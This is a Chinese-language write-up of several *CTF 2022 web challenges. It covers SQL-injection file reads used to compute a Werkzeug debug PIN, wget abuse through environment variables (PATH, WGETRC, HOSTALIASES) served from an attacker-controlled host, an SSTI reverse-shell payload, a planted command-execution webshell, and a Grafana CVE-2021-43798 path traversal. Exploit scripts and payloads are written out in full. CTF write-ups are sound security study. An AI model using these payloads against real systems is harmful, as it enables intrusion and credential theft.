0%

starCTF-2022

image-20220423001508724

前言

给学校做了攻防演练,耽搁了比赛,赛后复现下

官方题目及wp:starctf2022: Official source code and writeups of *CTF2022

oh-my-notepro

  • python3.8 pin码计算

发现sql注入,可以堆叠注入

image-20220417091443301

生成要素

username,    通过getpass.getuser()读取,通过文件读取/etc/passwd    
modname, 通过getattr(mod,“file”,None)读取,默认值为flask.app
appname, 通过getattr(app,“name”,type(app).name)读取,默认值为Flask
moddir, 在flask库下app.py的绝对路径, 通过报错泄露
uuidnode, 当前网络的mac地址的十进制数, 通过文件/sys/class/net/eth0/address读取
machine_id, 由三个合并(docker就后两个):
1./etc/machine-id
2./proc/sys/kernel/random/boot_id
3./proc/self/cgroup

通过sql注入读文件,load_file受到secure_file限制,利用 load data local infile 插到表里,再union读取

//设置group_concat长度
;SET SESSION group_concat_max_len = 102400;CREATE TABLE y0ng (code LONGTEXT);load data local infile "/etc/machine-id" into table y0ng FIELDS TERMINATED BY '';%23

'union select 1,2,3,4,(select group_concat(code) from y0ng)%23

python3.8算pin使用sha1加密

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'636256807551824',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'e86c4117-eed3-4a37-82bc-b5fa47a88e0b55f9ebbe1473751b9884fb19cbf4299adf5f9bbe231cc0d737df87db308bea0b'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

这道题用**/etc/machine-id + /proc/self/cgroup** 算出了 pin,wp给出的解释为

Werkzeug的更新给pin码的计算方式带来了变化,新版本是从/etc/machine-id、/proc/sys/kernel/random/boot_id中读到一个值后立即break,然后和/proc/self/cgroup中的id值拼接,使用拼接的值来计算pin码

image-20220417092549153

FLAG:*ctf{exploit_Update_with_Version}

python3.6之前

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

oh-my-lotto

分为了两个部分

image-20220420174119330

先看lotto的代码,生成20个40以内的随机数,然后存到 lotto_result.txt

image-20220420174235746

再看app下,/result 返回/app/lotto_result.txt的内容

image-20220420175522832

/forecast 通过上传文件保存内容到/app/guess/forecast.txt

image-20220420175550832

/lotto下是主要的代码

@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''
# 环境变量获取flag
flag = os.environ['flag']
if request.method == 'GET':
return render_template('lotto.html')

elif request.method == 'POST':
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''
try:
# 传入的key 变为大写
lotto_key = lotto_key.upper()
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
# key 进行安全检查
if safe_check(lotto_key):
# 这里可控一个环境变量的键值
os.environ[lotto_key] = lotto_value
try:
# 去获取lotto_result.txt
os.system('wget --content-disposition -N lotto')

# 获取lotto的内容
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read()
else:
lotto_result = 'result'
# 获取猜测的内容
if os.path.exists("/app/guess/forecast.txt"):
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'
#两者相等 出flag
if forecast == lotto_result:
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
print("lotto error: ", e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)

else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)

安全检查函数为

def safe_check(s):
if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s:
return False
return True

非预期一

这里就可以围绕 wget 做文章,因为我们可控一个os.environ,整体思路就是控制 PATH

  1. 正常向/lotto post key-value,然后正常wget到 lotto_result.txt
  2. 访问/result 获取到 lotto_result.txt 内容,再将内容上传为forecast.txt
  3. 向/lotto post key-value,使wget失败,这样内容比较相等,获得flag

exp.py

import requests

url = 'http://1.116.110.61:8880/'

requests.post(url+'lotto',data={"lotto_key":"1","lotto_value":"2"})
r = requests.get(url+'result').text.replace(" ","").split("<p>")[-1].split("</p>")[0]
with open('res.txt','w+',newline='') as f:
f.writelines(r)

requests.post(url+'forecast',files={'file':open('res.txt','rb')})
r = requests.post(url+'lotto',data={"lotto_key":"PATH","lotto_value":"/"})
print(r.text)

这里有个细节,上传的文件需要去除 \r,所以使用python3写入文件的时候使用 newline

image-20220420210834830

非预期二

利用 WGETRC 设置 http_proxy 代理到自己服务器,下载一个和 forecast 一样的文件,可以获得flag。

这个非预期去翻找了wget的文档,这里说如果设置了环境变量 wget 会去加载该文件

image-20220423100615409

然后就找到了wgetrc的一些命令,http_proxy,使用代理,这样可以使用 文件上传+环境变量可控 来使用这个http_proxy

image-20220423100847433

上传forecast.txt

http_proxy=http://1.116.110.61:80

服务器测试一下

image-20220423225306665

服务器上起一个flask,这样就控制了返回内容

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)

r = '\n'.join(lotto)
r = 'http_proxy=http://1.116.110.61:80' # 这里是通过代理获得的内容,与上传的内容一样
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)

然后设置环境变量

lotto_key='WGETRC'  lotto_value='/app/guess/forecast.txt'

flask接受:

image-20220423230020185

oh-my-lotto-revenge

非预期一

利用 WGETRC 配合 http_proxyoutput_document,写入SSTI到templates目录,利用SSTI完成RCE。

output_document 是控制写入的目录

上传forecast.txt

http_proxy=http://1.116.110.61:80
output_document = templates/index.html

然后设置返回为SSTI的payload即可

还是起一个flask

from flask import Flask, make_response
import secrets

app = Flask(__name__)

@app.route("/")
def index():
lotto = []
for i in range(1, 20):
n = str(secrets.randbelow(40))
lotto.append(n)

r = '\n'.join(lotto)
r = "{{config.__class__.__init__.__globals__['os'].popen('反弹shell').read()}}"
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=lotto_result.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=80)

设置环境变量

lotto_key='WGETRC'  lotto_value='/app/guess/forecast.txt'

非预期二

利用 WGETRC 配合 http_proxyoutput_document,覆盖本地的wget应用,然后利用wget完成RCE。

预期解

题目开启debug,一些常见的环境变量利用方法都已经被禁止,通过翻阅Linux环境变量文档 http://www.scratchbox.org/documentation/general/tutorials/glibcenv.html 在Network Settings中发现有 HOSTALIASES 可以设置shell的hosts加载文件,利用 /forecast 路由可以上传待加载的hosts文件,将 wget –content-disposition -N lotto 发向lotto的请求转发到自己的域名

例如如下hosts文件

# hosts
lotto mydomain.com

然后返回内容覆盖为app.py

from flask import Flask, request, make_response
import mimetypes

app = Flask(__name__)
@app.route("/")
def index():
# 返回的app.py内容
r = '''
from flask import Flask,request
import os

app = Flask(__name__)
@app.route("/test", methods=['GET'])
def test():
a = request.args.get('a')
a = os.popen(a)
a = a.read()
return str(a)

if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)
'''

response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=app.py'
return response

if __name__ == "__main__":
app.run(debug=True,host='0.0.0.0', port=8080)

预期wp提到 gunicorn

因为题目使用gunicorn部署,app.py 在改变的情况下并不会实时加载。但gunicorn使用一种 pre-forked worker 的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的POC如下

timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

exp

import requests
import os
import time
import subprocess

s = requests.session()

base_url = 'http://124.223.208.221:53000/'
url_upload = base_url + 'forecast'
proxies = {
'http': 'http://127.0.0.1:8080'
}

r = s.post(url=url_upload, proxies=proxies, files={"file":("hosts", open('hosts', 'rb'))})
print(r.text)

url_env = base_url + 'lotto'
data = {
'lotto_key': 'HOSTALIASES',
'lotto_value': '/app/guess/forecast.txt'
}
r = s.post(url=url_env, data=data)

subprocess.Popen('./exploit.sh', shell=True)
# os.system('./exploit.sh')
for i in range(1, 53):
print(i)
time.sleep(1)

while True:
url_shell = base_url + 'test?a=env'
print(url_shell)
r = s.get(url_shell)
print(r.text)
if '*ctf' in r.text:
print(r.text)
break

oh-my-grafana

之前的CVE-2021-43798,任意文件读,读到配置文件

/public/plugins/alertlist/../../../../../../../../../../../../../etc/grafana/grafana.ini

然后就找关键字

# default admin user, created on startup
admin_user = admin

# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = 5f989714e132c9b04d4807dafeb10ade


# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = mysql
;host = mysql:3306
;name = grafana
;user = grafana
# If the password contains # or ; you have to wrap it with triple quotes. Ex """#password;"""
;password = grafana

登录执行sql语句即可